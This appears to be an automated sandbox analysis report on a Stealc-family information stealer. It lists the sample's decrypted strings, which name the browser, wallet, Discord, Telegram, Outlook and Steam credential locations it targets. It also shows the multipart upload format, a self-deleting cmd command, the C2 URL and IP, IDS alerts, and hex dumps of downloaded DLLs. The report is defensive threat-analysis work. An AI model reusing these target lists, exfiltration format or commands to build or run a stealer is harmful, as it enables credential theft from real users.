Source: 0.2.file.exe.c50000.0.unpack	String decryptor: plugins
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Local Extension Settings
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Sync Extension Settings
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: IndexedDB
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Opera Stable
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Opera GX Stable
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: CURRENT
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: chrome-extension_
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: _0.indexeddb.leveldb
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Local State
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: profiles.ini
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: chrome
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: opera
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: firefox
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: wallets
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %08lX%04lX%lu
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows NT\CurrentVersion
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ProductName
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: x32
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: x64
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %d/%d/%d %d:%d:%d
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ProcessorNameString
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: DisplayName
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: DisplayVersion
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Network Info:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - IP: IP?
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Country: ISO?
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: System Summary:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - HWID:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - OS:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Architecture:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - UserName:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Computer Name:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Local Time:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - UTC:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Language:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Keyboards:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Laptop:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Running Path:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - CPU:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Threads:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Cores:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - RAM:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - Display Resolution:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: - GPU:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: User Agents:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Installed Apps:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: All Users:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Current User:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Process List:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: system_info.txt
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: freebl3.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: mozglue.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: msvcp140.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: nss3.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: softokn3.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: vcruntime140.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \Temp\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: .exe
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: runas
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: open
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: /c start
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %DESKTOP%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %APPDATA%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %LOCALAPPDATA%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %USERPROFILE%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %DOCUMENTS%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %PROGRAMFILES%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %PROGRAMFILES_86%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: %RECENT%
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: *.lnk
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: files
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \discord\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \Local Storage\leveldb\CURRENT
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \Local Storage\leveldb
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \Telegram Desktop\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: key_datas
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: D877F783D5D3EF8C*
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: map*
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: A7FDF864FBC10B77*
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: A92DAA6EA6F891F2*
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: F8806DD0C461824F*
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Telegram
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Tox
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: *.tox
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: *.ini
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Password
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: oftware\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 00000001
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 00000002
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 00000003
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: 00000004
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \Outlook\accounts.txt
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Pidgin
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \.purple\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: accounts.xml
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: dQw4w9WgXcQ
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: token:
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Software\Valve\Steam
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: SteamPath
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \config\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ssfn*
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: config.vdf
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: DialogConfig.vdf
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: DialogConfigOverlay*.vdf
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: libraryfolders.vdf
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: loginusers.vdf
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \Steam\
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: sqlite3.dll
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: browsers
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: done
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: soft
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: \Discord\tokens.txt
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: /c timeout /t 5 & del /f /q "
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: " & del "C:\ProgramData\*.dll"" & exit
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: C:\Windows\system32\cmd.exe
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: https
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Content-Type: multipart/form-data; boundary=----
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: POST
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: HTTP/1.1
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: Content-Disposition: form-data; name="
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: hwid
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: build
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: token
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: file_name
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: file
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: message
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890
Source: 0.2.file.exe.c50000.0.unpack	String decryptor: screenshot.jpg

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C5B6C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6C5B6C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49993 version: TLS 1.0

Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.253.45:443 -> 192.168.2.5:49719 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.68:443 -> 192.168.2.5:49811 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:50045 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2111533445.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538701022.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000002.2513651548.0000000000C7C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.2111533445.00000000051BB000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2538701022.000000006C8A1000.00000002.00000001.01000000.00000007.sdmp, chrome.dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2538281990.000000006C7DF000.00000002.00000001.01000000.00000012.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2537968521.000000006C61D000.00000002.00000001.01000000.00000013.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 1MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 17:06:17 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 17:06:43 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Wed, 30 Oct 2024 17:06:44 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
